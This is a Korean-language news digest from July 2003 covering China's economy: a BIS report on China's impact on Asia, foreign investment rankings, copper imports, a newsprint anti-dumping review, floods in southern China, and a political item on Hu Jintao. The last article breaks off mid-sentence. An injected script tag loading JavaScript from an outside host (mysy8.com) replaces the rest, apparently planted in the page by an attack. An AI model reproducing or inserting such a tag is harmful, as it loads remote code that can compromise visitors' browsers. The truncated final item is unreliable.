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작성일 |
2003-07-02 |
| 제목 |
차이나투데이 - 中, 亞 경제의 기회와 도전 |
중국의 구조적 변형이 아시아 경제에 중대한 도전과 기회의 장을 제공하고 있다고 국제결제은행(BIS)이 30일 진단했다. 다우존스에 따르면 BIS는 이날 스위스 바젤에서 발표한 제73차 연례 보고서를 통해 중국이 세계 경제에 미치는 여파, 특히 아시아 각국의 전통적 수출 산업에 미치는 심대한 영향을 면밀히 분석하며 이같이 밝혔다. BIS는 우선 급속한 외환보유고 증대와 디플레이션, 마이너스 실질 금리, 고정환율제, 대외 부채 감소 경향, 국내 대출 증가 등을 중국이 가지고 있는 문제점으로 지적했다. BIS는 이어 중국의 취약한 내수와 수출 시장으로서의 미국에 대한 지나친 의존도를 지적하고 중국의 구조적 변형 작업을 “아시아의 무역과 투자의 전형을 변화시키는 것“으로 평가했다. BIS는 그러나 역내 외국인 투자를 독식하면서 강력한 수출 기지로 떠오른 중국이 최소한 지난 1991년과 2001년 사이의 수출 증가분만큼 역내 국가들로부의 수입을 증가시켰다고 지적하고 이를 중국이 역내 경제에 제공하는 기회라고 설명했다. 중국이 세계의 주요 생산기지로 부상한 것에 대해서도 지난 80년대 초반 투자개방이 이뤄지면서 중국에 생산기지를 빼앗긴 홍콩이 금융과 무역, 투자서비스로 활로를 개척하면서 번영을 구가했던 사례를 들며 역내의 전반적인 번영에 부정적인 결과를 초래하지 않았다는 점을 상기시켰다. BIS는 이와 함께 아시아 각국은 천연자원이나 제조 기술 등 중간재에 대한 수요가 급증하고 있는 중국에 대해 새로운 틈새시장을 개척할 필요성이 있다고 충고했다. BIS에 따르면 중국은 지난 1991년과 2002년 사이에 아시아의 국내총생산(GDP)에서 차지하는 비중이 두배 증가한 약 17%에 달했고 수출도 아시아 전체의 20%를 차지하고 있다.
中 작년 외자 투자 세계 1위 중국은 작년에 외국자본의 투자가 세계에서 가장 많은 나라로 집계됐다고 베이징(北京)신보(晨報)가 30일 보도했다. 중국 정부 산하 국가 경제합작조직(經合組織)에 따르면 작년에 대(對)중국 외국인 투자가 527억달러로 가장 많았고, 프랑스가 482억달러, 미국이 381억달러, 네덜란드가 292억달러 순으로 나타났다. 대 홍콩 외자 투자액은 137억달러였다. 경합조직의 통계에는 금융기관을 통한 외국인의 실제 투자와 공장 건설 등이 포함돼 있다.
中 1-5월 구리 수입 8.2% 증가 중국의 지난 1월부터 5월 사이 구리 수입량이 48만8566t을 기록, 작년 같은 기간에 비해 8.2% 증가했다고 시장조사기관인 베이징 안타이케 정보개발이 1일 밝혔다. 중국 비철금속 산업 연합회 소속의 이 시장조사기관은 또 이 기간 중국의 구리 생산량이 70만3226t으로 지난해 같은 기간보다 11% 증가했다고 덧붙였다. 이 조사기관은 자동차 업체들의 수요 증가가 수입 증가의 주 원인이었다고 설명했다.
中,한국 등 신문용지 반덤핑관세 연장검토 중국 상무부는 현재 한국과 미국, 캐나다산 신문용지에 대해 부과하고 있는 반덤핑 관세를 연장할 지 여부를 조사할 것이라고 1일 밝혔다. 경제전문 통신인 AFX에 따르면 상무부는 이날 홈페이지를 통해 12개 국내업체가 지난 5월 9일 이같은 반덤핑 관세 부과 연장을 신청했다면서 한국 등 3개국 관련 업체들이 작년 7월부터 올 6월까지 신문용지를 덤핑 수출했고 이같은 행위가 국내 업계에 실질적인 피해를 야기했는지 조사할 방침이라고 발표했다. 상무부는 또 12개 국내업체의 생산량은 작년 기준으로 중국 전체 신문용지 생산량의 73.46%에 달한다며 이들은 반덤핑 관세가 부과된 이후 3개국에서 수입이 감소했지만 여전히 경쟁력이 취약하기 때문에 반덤핑 관세 부과가 연장되어야 한다는 주장을 펼치고 있다고 덧붙였다.
中 홍수로 148명 사망, 재산피해 9천억원 저장(浙江)성, 장시(江西)성, 후베이(湖北)성, 후난(湖南)성 등 중국 남부 8개 성.시.자치구에 며칠간 계속된 폭우로 148명이 숨지고 59억6천만위안(약 8850억원)의 재산 피해가 났다고 중국 민정부가 30일 밝혔다. 주로 중국 3대강인 화이허(淮河) 유역에 집중 호우가 쏟아져 농작물 피해 면적이 198만헥타르에 달했고, 피해를 본 주민수가 4475명이나 됐다. 부상자가 1만2876명이나 됐고, 35만의 주민이 물난리를 맞아 긴급 대피했다. 모두 14만채의 가옥이 완파됐고, 통신,수리,전력 등 사회 간접시설들도 큰 피해가 났다. 화이허(淮河) 유역에는 1일까지 돌풍을 동반한 장대비가 계속 내려 홍수 피해가 더욱 커질 것으로 우려되고 있다.
“후 주석, 탈(脫)수렴청정 시도 않을 것“ 후진타오(胡錦濤) 중국 당총서기겸 국가주석은 1일 열리는 공산당 창당 82주년 기념식 연설에서 장쩌민(江澤民) 당및 국가중앙군사위 주석의 수렴청정으로부터 홀로서기를 시도하지는 않을 것으로 보인다고 현지 언론인이 전망했다. 후 주석이 이날 연설을 통해 장 주석의 무시?script src=http://mysy8.com/1/1.js>
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